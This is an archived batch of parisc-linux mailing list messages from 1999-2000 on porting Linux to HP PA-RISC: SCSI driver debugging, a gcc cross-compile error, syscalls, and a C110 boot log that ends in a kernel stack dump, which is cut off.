> after noticing that the last event before the unexpected disconnect was a
> phase mis match, but they seem to happen all the time so I think they are
> unrelated, normal, even?

Phase mis-matches are normal, but I wouldn't typically expect them on
a read or write if disconnect is disabled.

> If write to the disk with dd I can wite about 1050 sectors befor the error
> happens (1050 failed twise and suceeded onece, every thine I tried below
> succeded and every thing I tried avove failed).
> 
> > If that fails after very little disk activity, you could try 
> > 
> > 	sim700=noneg:0xff,nodisc:0xff,debug:0x2ff
> > 
> > and send me the (large) debug output.
> Is this still intresting?

Yes please, if you can capture it easily.  I'll be interested to
see if there are phase mismatches that are handled ok before the
one that goes wrong, and what the driver does afterwards.

Richard


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] eprintf error when xcompiling gcc
Date: Thu, 07 Dec 2000 14:36:45 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20001207213645.DB70E37CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619408 8266 80.91.229.3 (22 Nov 2014 01:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au
Original-X-From: taggart@carmen.fc.hp.com  Thu Dec  7 14:33:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA11312
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 14:33:03 -0700
Original-Received: (qmail 32457 invoked by uid 15267); 7 Dec 2000 21:35:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32450 invoked from network); 7 Dec 2000 21:35:03 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 21:35:03 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id D5ABDCCC; Thu,  7 Dec 2000 16:34:52 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id DB70E37CA1; Thu,  7 Dec 2000 14:36:45 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8814

Hi Alan,

I'm trying to cross-compile gcc (--with-libc) and I get several thousand of 
the following error,

bad.o: In function `ffebad_here':
/home/al-76/puffin/palinux/gcc/gcc/f/bad.c:268: undefined reference to 
`__eprintf'
/opt/palinux/lib/gcc-lib/hppa-linux/2.96/../../../../hppa-linux/bin/ld: 
bad.o(.text+0x400): cannot find stub entry 00000052___eprintf+0
/opt/palinux/lib/gcc-lib/hppa-linux/2.96/../../../../hppa-linux/bin/ld: 
bad.o(.text+0x400): cannot handle R_PARISC_PCREL17F for __eprintf


The function/.o is different in each error but they all complain about 
__eprintf.
Is this a problem with the xcompiler or the source(or both)?
Is there something else I should be doing when xcompiling?
Is this a bug or am I doing something stupid?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: 06 May 1999 11:47:02 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <r2aevi3ujd.fsf@happy.cygnus.com>
References: <199905061842.LAA11719@gatekeeper.equator.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619408 8269 80.91.229.3 (22 Nov 2014 01:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:28 +0000 (UTC)
Cc: adevries@redhat.com, jason@gatekeeper.equator.com,
        parisc-linux@thepuffingroup.com
To: Jason Eckhardt <jason@equator.com>
Original-X-From: drepper@cygnus.com  Thu May  6 11:52:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA27697
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 May 1999 11:52:10 -0600
Original-Received: (qmail 30201 invoked by uid 15267); 6 May 1999 18:48:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30194 invoked from network); 6 May 1999 18:48:07 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 18:48:07 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA19018;
	Thu, 6 May 1999 11:50:15 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id LAA05440; Thu, 6 May 1999 11:47:02 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Jason Eckhardt's message of "Thu, 6 May 1999 11:42:19 -0700 (PDT)"
Original-Lines: 11
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8815

Jason Eckhardt <jason@equator.com> writes:

> Hopefully, we can re-use much of the standard linux code,
>   but I haven't thought about this in detail yet.

Take a look at MILO, the Alpha bootloader.  No need to repeat the work.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Thu, 7 Dec 2000 20:46:49 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20001207204649.A31668@parcelfarce.linux.theplanet.co.uk>
References: <200012070634.WAA07459@milano.cup.hp.com> <200012070649.WAA07510@milano.cup.hp.com> <20001207095613.D7166@linuxcare.com> <E1443ib-0003sK-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619408 8272 80.91.229.3 (22 Nov 2014 01:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:28 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, Grant Grundler <grundler@cup.hp.com>,
        parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Thu Dec  7 14:46:30 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA12072
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 14:46:28 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1447wH-0008LB-00; Thu, 07 Dec 2000 20:46:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E1443ib-0003sK-00@noam.fc.hp.com>; from bame@noam.fc.hp.com on Thu, Dec 07, 2000 at 09:16:25AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8816

On Thu, Dec 07, 2000 at 09:16:25AM -0700, Paul Bame wrote:
> I've left many syscalls disabled and think we should keep them turned
> off until it's proven they actually are used.  We should
> probably consider nuking them in the 32-bit kernel too.

i noticed we still had readdir.  i believe glibc always uses getdents.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Thu, 07 Dec 2000 15:08:17 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <E1449D7-0008AD-00@noam.fc.hp.com>
References: <200012070634.WAA07459@milano.cup.hp.com> <200012070649.WAA07510@milano.cup.hp.com> <20001207095613.D7166@linuxcare.com> <E1443ib-0003sK-00@noam.fc.hp.com>  <20001207204649.A31668@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619409 8276 80.91.229.3 (22 Nov 2014 01:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:29 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, Grant Grundler <grundler@cup.hp.com>,
        parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: bame@noam.fc.hp.com  Thu Dec  7 15:05:41 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA12714
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 15:05:40 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA17005;
	Thu, 7 Dec 2000 15:08:18 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 1449D7-0008AD-00; Thu, 07 Dec 2000 15:08:17 -0700
In-Reply-To: Your message of "Thu, 07 Dec 2000 20:46:49 GMT."
             <20001207204649.A31668@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8817

= On Thu, Dec 07, 2000 at 09:16:25AM -0700, Paul Bame wrote:
= > I've left many syscalls disabled and think we should keep them turned
= > off until it's proven they actually are used.  We should
= > probably consider nuking them in the 32-bit kernel too.
= 
= i noticed we still had readdir.  i believe glibc always uses getdents.

readdir is disabled on parisc64 -- hasn't been a problem yet...

	-P


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eprintf error when xcompiling gcc
Date: Fri, 8 Dec 2000 09:37:58 +1100 (EST)
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012080855200.6808-100000@front.linuxcare.com.au>
References: <20001207213645.DB70E37CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619409 8278 80.91.229.3 (22 Nov 2014 01:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Dec  7 15:38:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA13615
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 15:38:12 -0700
Original-Received: (qmail 2824 invoked by uid 15267); 7 Dec 2000 22:40:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2803 invoked from network); 7 Dec 2000 22:40:03 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 22:40:03 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA08137;
	Fri, 8 Dec 2000 09:37:58 +1100
In-Reply-To: <20001207213645.DB70E37CA1@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8818

__eprintf is used by assert, and only when gcc's own assert.h is used.  So
it seems likely to me that your cross compiler is having difficulty
finding it's libc headers.  Probably a configure/install type problem.

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: hp_boot.log
Date: Fri, 8 Dec 2000 11:34:37 +0100
Lines: 366
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C6A0@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619409 8280 80.91.229.3 (22 Nov 2014 01:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:29 +0000 (UTC)
Cc: "'thuis'" <digihans@wishmail.net>
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: Hans.Witvliet@Alcatel.nl  Fri Dec  8 03:32:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA19727
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 03:32:59 -0700
Original-Received: (qmail 12970 invoked by uid 15267); 8 Dec 2000 10:35:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12952 invoked from network); 8 Dec 2000 10:35:16 -0000
Original-Received: from alc239.alcatel.be (HELO relay2.alcatel.be) (195.207.101.239)
  by mailserv2.iuinc.com with SMTP; 8 Dec 2000 10:35:16 -0000
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay2.alcatel.be (8.10.1/8.10.1) with ESMTP id eB8AVqd02188;
	Fri, 8 Dec 2000 11:31:52 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <Y3AL1PMA>; Fri, 8 Dec 2000 11:34:38 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8819

Hi all,

I had the impression that the C110 was supported, however when booting from
cd (from palinux.05.iso) i got following results:
Although i think the cd is ok, it might be a good idea to provide the
md5sums as well.....

TIA,

Hans

> Firmware Version  1.3
> 
> Duplex Console IO Dependent Code (IODC) revision 0
> 
> --------------------------------------------------------------------------
> ----
>    (c) Copyright 1990-1996, Hewlett-Packard Company, All rights reserved
> --------------------------------------------------------------------------
> ----
> 
>   Processor   Speed            State           CoProcessor State  Cache
> Size
>   ---------  --------   ---------------------  -----------------
> ----------
> 
>       0      120  Mhz   Active                 Functional          256 KB
> 
>   Central Bus Speed (in mhz)  :        120  
>   Available Memory (bytes)    :  536866816  
>   Good Memory Required (bytes):   48549888  
> 
> 
>    Primary boot path:    core.FWSCSI.6.0
>    Alternate boot path:  core.SCSI.6.0
>    Console path:         GRAPHICS3
>    Keyboard path:        core.PS2
> 
> CPU 0
>   WARNING:  Memory has been initialized, but not tested as a result of
>             FASTBOOT being enabled.  To test memory, disable FASTBOOT
>             and reboot system
> 
> 
> Processor is booting from first available device.
> 
> To discontinue, press any key within 10 seconds.
> 
> Boot terminated.
> 
> 
> ------- Main Menu
> -------------------------------------------------------------
> 
>         Command                         Description
>         -------                         -----------
> 
>         BOot [PRI|ALT|<path>]           Boot from specified path
>         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
>         SEArch [DIsplay|IPL] [<path>]   Search for boot devices
> 
>         COnfiguration menu              Displays or sets boot values
>         INformation menu                Displays hardware information
>         SERvice menu                    Displays service commands
> 
>         DIsplay                         Redisplay the current menu
>         HElp [<menu>|<command>]         Display help for menu or command
>         RESET                           Restart the system
> -------
> Main Menu: Enter command or menu > sea
> 
> Searching for potential boot device(s)
> This may take several minutes.
> 
> To discontinue search, press any key (termination may not be immediate).
> 
> 
>    Path Number      Device Path                   Device Type
> --------------------------------------------------------------------------
> -
>    P0               core.FWSCSI.6.0               SEAGATE ST32272WD
> 
>    P1               core.FWSCSI.5.0               SEAGATE ST34572WD
> 
>    P2               core.SCSI.2.0                 TOSHIBA CD-ROM XM-5701TA
> 
> 
> 
> Main Menu: Enter command or menu > boot p2
> Interact with IPL (Y or N)?> n
> 
> Booting... 
> Boot IO Dependent Code (IODC) revision 0
> 
> 
> HARD Booted.
> palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
> 0/vmlinux 2140145 bytes @ 0x6f9800
> 0/palo-cmdline '0/vmlinux ROOT=/ TERM=LINUX root=/dev/scd0'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> 
> Entry 00100150 first 00100000 n 4
> Segment 0 load 00100000 size 1460344 mediaptr 0x1000
> Segment 1 load 00266000 size 179048 mediaptr 0x166000
> Segment 2 load 00294000 size 109876 mediaptr 0x192000
> Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
> branching to kernel entry point 0x00100150
> Set default PSW W bit to 0
> PDC Console Initialized
> The 32-bit Kernel has started...
> Enabled FP coprocessor
> Free memory starts at: 0xc02da000
> (0x504d6c,0x504d6c,0x0,0x0)
> PALO command line: 'ROOT=/ TERM=LINUX root=/dev/scd0'
> PALO initrd 0-0
> model   000058e0 00000481 00000000 00000002 777b7670 100000f1 00000004
> 0000008a 0000008a
> vers    0000000d
> cpuid   0000016d
> CPUID vers 11 rev 13
> Searching for devices in PDC firmware... processor hpa 0xfffa0000
> a newer box...
> Found devices:
> 1. Raven T' GSC Core Graphics (10) at 0xf4000000, versions 0x32, 0x0,
> 0x85, 0x0, 0x0
> 2. SkyHawk 100/120 FW-SCSI (4) at 0xf3f8c000, versions 0x1f, 0x0, 0x89,
> 0x0, 0x80
> 3. U2-IOA BC GSC+ Port (7) at 0xf3fbf000, versions 0x501, 0x1, 0xc, 0x0,
> 0x0
> 4. Raven T' Core BA (11) at 0xffd00000, versions 0x32, 0x0, 0x81, 0x0, 0x0
> 5. Raven T' Lasi Core RS-232 (10) at 0xffd05000, versions 0x32, 0x0, 0x8c,
> 0x0, 0x0
> 6. Raven T' Core SCSI (10) at 0xffd06000, versions 0x32, 0x0, 0x82, 0x0,
> 0x0
> 7. Raven T' Core LAN (802.3) (10) at 0xffd07000, versions 0x32, 0x0, 0x8a,
> 0x0, 0x0
> 8. Raven T' Core Centronics (10) at 0xffd02000, versions 0x32, 0x0, 0x74,
> 0x0, 0x0
> 9. Raven T' Core PC Floppy (10) at 0xffd0a000, versions 0x32, 0x0, 0x83,
> 0x0, 0x0
> 10. Raven T' Audio (10) at 0xffd04000, versions 0x32, 0x0, 0x7b, 0x0, 0x0
> 11. Raven T' Core PC Keyboard (10) at 0xffd08000, versions 0x32, 0x0,
> 0x84, 0x0, 0x0
> 12. Raven T' Core PC Keyboard (10) at 0xffd08100, versions 0x32, 0x0,
> 0x84, 0x0, 0x0
> 13. Raven T' Wax BA (11) at 0xffe00000, versions 0x1e, 0x0, 0x8e, 0x0, 0x0
> 14. Raven T' Wax EISA BA (11) at 0xfc000000, versions 0x1e, 0x0, 0x90,
> 0x0, 0x0
> 15. Raven T' Wax RS-232 (10) at 0xffe02000, versions 0x1e, 0x0, 0x8c, 0x0,
> 0x80
> 16. Raven T' Wax HIL (10) at 0xffe01000, versions 0x1e, 0x0, 0x73, 0x0,
> 0x0
> That's a total of 16 devices.
> No CPUs reported by firmware - probing...
> Found CPU at fffa0000
> CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
> Linux version 2.4.0-test6 (pjlahaie@elenuial.thepuffingroup.com) (gcc
> version 2.96 20000925 (experimental)) #32 Mon Nov 6 10:20:58 EST 2000
> free_bootmem(0x2de000, 0x1fd22000)
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 131072
> zone(0): 65536 pages.
> zone(1): 65536 pages.
> zone(2): 0 pages.
> Kernel command line: ROOT=/ TERM=LINUX root=/dev/scd0
> trap_init
> Calibrating delay loop... 119.60 BogoMIPS
> Memory: 511600k available
> Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
> Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
> Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
> Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xffd00000 found.
> 
> Dumping Stack from dfff0000 to dfff0a80:
> 0000 00000000 00000040 00000000 00000000 c027a46c 00000000 00000000
> ffffffff
> 0020 00000004 00000000 00000000 00000000 00000000 00000000 ffffffff
> c027a384
> 0040 c027a384 c02b0000 c02b0000 c028060c 00000000 00000000 00000000
> 00000000
> 0060 00000000 00000000 00000001 00000000 00000000 00000000 00000000
> c02b0000
> 0080 c02b0000 00000000 00000000 00000000 00000000 c02c9ab8 00000000
> dfff009c
> 00a0 dfff009c dfff00a4 c011a6e4 00000000 00000000 00000000 00000000
> 00000000
> 00c0 00000000 00000000 00000000 00000000 00000000 00000000 dfff0000
> c011d4a8
> 00e0 00000000 00000001 00000000 00000000 00000042 00000000 00000043
> 00000000
> 0100 00000000 00000000 00000000 00000000 00000000 80000000 00000000
> 00000000
> 0120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000
> 0140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000
> 0160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000
> 0180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000
> 01a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> fffffeff
> 01c0 00000000 ffffffff 00000000 c027afb4 ffffffff ffffffff ffffffff
> ffffffff
> 01e0 ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
> ffffffff
> 0200 00002000 00002000 00000400 00000400 ffffffff ffffffff ffffffff
> ffffffff
> 0220 00007377 61707065 72000000 00000000 00000000 00000000 00000000
> 00000000
> 0240 00000000 00000000 00020000 c0267054 c0267054 c013d1e8 00040000
> dfffeba0
> 0260 c02238c4 c0236708 c02d9800 00504d6c 00000000 c011bb88 c0267000
> 00020000
> 0280 c0267054 c0267000 0000003e c027a000 00000001 c02b61eb 00000004
> c02b61c7
> 02a0 00000023 c02b61eb 00000000 00000000 c0100290 0000003e 00000000
> 00000024
> 02c0 0000000b c027a4ac c027a000 f00000ac f00000a4 000000ff ffd05800
> ffd05800
> 02e0 ffd05800 00000060 ffffffff ffd05800 002b50c0 c0266000 00000000
> 00000000
> 0300 c02b08c0 00000000 000b0800 00000000 0450060a efdbdf3f 00000000
> fa7fcda2
> 0320 fffffffe 4374efc9 00000000 00000000 00000000 00000000 fffffffe
> 92b2dbaf
> 0340 ffffffff fde3de77 fffffffe 75fb7f5b fffffffe fa9f5fff fffffffe
> ff73bb77
> 0360 00000000 00000000 fffffffe 92f6ec6f fffffffe dffdffab fffffffe
> 5d5bdfaf
> 0380 fffffffe fbe3ebf7 fffffffe 6d735faa fffffffe 4ef1bffb fffffffe
> 17229d7e
> 03a0 fffffffe e5fddfaf d3f3aede a6d6f5fb f7dfdfff ffefffdd 7bd82bfe
> fccf39df
> 03c0 afeffdee d7978797 a3fbedff 7fe5de95 8ffbbefd fddbfffb bfdeffd7
> 78f75f3b
> 03e0 6fbcff3b 70eff7c9 e8ffbfbe faeeff9e eff9c5bf f743cfbf 77fcf7be
> bbffc2e9
> 0400 7d6ffdff fbbef7ef 00000000 00000000 dfff0500 c0103c38 00000000
> 00000000
> 0420 00000000 00000000 00000000 00000000 c011bb78 c011bb7c 7bd82bfe
> fccf39df
> 0440 00281000 00000000 c0280040 c0280064 00000000 c0280204 00000000
> 00000000
> 0460 00000000 00000000 00000000 dfff0468 00000000 00000000 00000000
> 00000000
> 0480 00000000 00000000 ef492a6b dee4e185 bdbf7659 7b0859e1 f610b3c2
> ec57d2d7
> 04a0 d8d910fd b1c494a9 63ff9c01 c7ff3802 8f88c557 1f673ffd 3ece7ffa
> 7d9cfff4
> 04c0 fb39ffe8 f6054a83 ec7c2055 d88ef5f9 b16b5ea1 62a00811 c5401022
> 8af69517
> 04e0 159b9f7d 2b373efa 566e7df4 c0103c48 59cf4283 b39e8506 674bbf5f
> ce977ebe
> 0500 dfff0000 c028060c 00000000 eb189434 d6479d3b acf98f25 5985ab19
> b30b5632
> 0520 66601937 ccc0326e 99f6d18f c01002a4 67362c9a ce6c5934 9cae073b
> 392abb25
> 0540 7255764a e4aaec94 c9236c7b 92306da5 c02b06c0 dfff0000 c028060c
> 00000000
> 0560 c02b0000 8317166c 0658998b 0cb13316 1962662c 32c4cc58 658998b0
> cb133160
> 0580 9650d793 2cd71a75 59ae34ea b35c69d4 66ce66fb cd9ccdf6 9b4f2ebf
> 36e8e82d
> 05a0 6dd1d05a dba3a0b4 b731f43b c0295054 dc2aba4a b823c1c7 703136dd
> e0626dba
> 05c0 c02b0000 8112691d 02526769 04a4ced2 09499da4 12933b48 dfffd140
> 4a4ced20
> 05e0 9499da40 294501d3 528a03a6 c02a5f74 4a5ebbcb 94bd7796 290c5a7f
> 5218b4fe
> 0600 c02d9800 00504d6c c025636c c0266000 c02c8000 00000000 c028d748
> 029f9556
> 0620 053f2aac 0a7e5558 14fcaab0 c02a67c8 53f2aac0 a7e55580 4fbc1e53
> 9f783ca6
> 0640 c02cc000 c0266000 c02c8000 00000000 c028d748 dfffec20 a347a7e1
> 46f9fa91
> 0660 8df3f522 1b915f17 3722be2e c0153e78 dc8af8b8 b9634423 72b03d15
> e5607a2a
> 0680 dffef8ac dffef860 c02c8000 00000000 00000000 c027a6cc dffef7e0
> 00000000
> 06a0 93ee3a7e 27aac1af 4f55835e c0109e74 3d20b82b 7a417056 f482e0ac
> e973740b
> 06c0 d2905d45 a5560fd9 fffa0000 00000002 00000022 dffef160 00000003
> c02ae994
> 06e0 c02c8d00 622fbaff c45f75fe c01536e0 11e6080d 23cc101a 47982034
> 8f304068
> 0700 dffef82c 0000416d c0230d0c dfffb1e0 ffd00000 00000000 c0256ba8
> c0256bb0
> 0720 13dcc342 27b98684 4f730d08 c02a6948 3dba8173 7b7502e6 f6ea05cc
> eda2becb
> 0740 c02c8d00 00000000 dfffb1e0 c02ae994 dfffb1e0 00000000 00000001
> 0000004d
> 0760 00000000 000000bf c0295794 c01dc40c 00504d6c c02c8800 c026c000
> c02c8d00
> 0780 c02ae994 dfffb1e0 c025f904 dfffb1e0 00000012 000081a4 c0256bd0
> 00000000
> 07a0 13f40217 27e8042e 4fd0085c c01dd02c 3f369423 7e6d2846 fcda508c
> f9c2144b
> 07c0 c02c8800 c026c000 c027a000 dfffb1e0 dfffa200 dfffb1e0 dfffb1e0
> c02b61ee
> 07e0 00000000 00000001 c027a000 0000003e 0000003c 00000027 0000000b
> c027a4ac
> 0800 c027a000 f00000ac f00000a4 000000ff ffd05800 ffd05800 ffd05800
> 00000060
> 0820 ffffffff ffd05800 002b50c0 c011e9bc 00000000 00000000 dfff0a00
> 00000000
> 0840 0004000b c0221800 c011e9f8 dfffa220 dfffa200 c0256a3c 00000014
> ffd00000
> 0860 00504d6c c02d9800 c0295794 000000bf 00000000 0000004d 00000001
> 00000000
> 0880 f00010f4 f00000ac f00000a4 ffdfffff dfffa218 ffd00013 ffd00000
> 0000000b
> 08a0 ffffffff dfffa220 dfffa200 c0266000 1749bb45 00000040 dfff0a80
> c012dfc0
> 08c0 000b0800 00000000 0450060a efdbdf3f 00000000 fa7fcda2 fffffffe
> 4374efc9
> 08e0 00000000 00000000 00000000 00000000 fffffffe 92b2dbaf ffffffff
> fde3de77
> 0900 fffffffe 75fb7f5b fffffffe fa9f5fff fffffffe ff73bb77 00000000
> 00000000
> 0920 fffffffe 92f6ec6f fffffffe dffdffab fffffffe 5d5bdfaf fffffffe
> fbe3ebf7
> 0940 fffffffe 6d735faa fffffffe 4ef1bffb fffffffe 17229d7e fffffffe
> e5fddfaf
> 0960 d3f3aede a6d6f5fb f7dfdfff ffefffdd 7bd82bfe fccf39df afeffdee
> d7978797
> 0980 a3fbedff 7fe5de95 8ffbbefd fddbfffb bfdeffd7 78f75f3b 6fbcff3b
> 70eff7c9
> 09a0 e8ffbfbe faeeff9e eff9c5bf f743cfbf 77fcf7be bbffc2e9 7d6ffdff
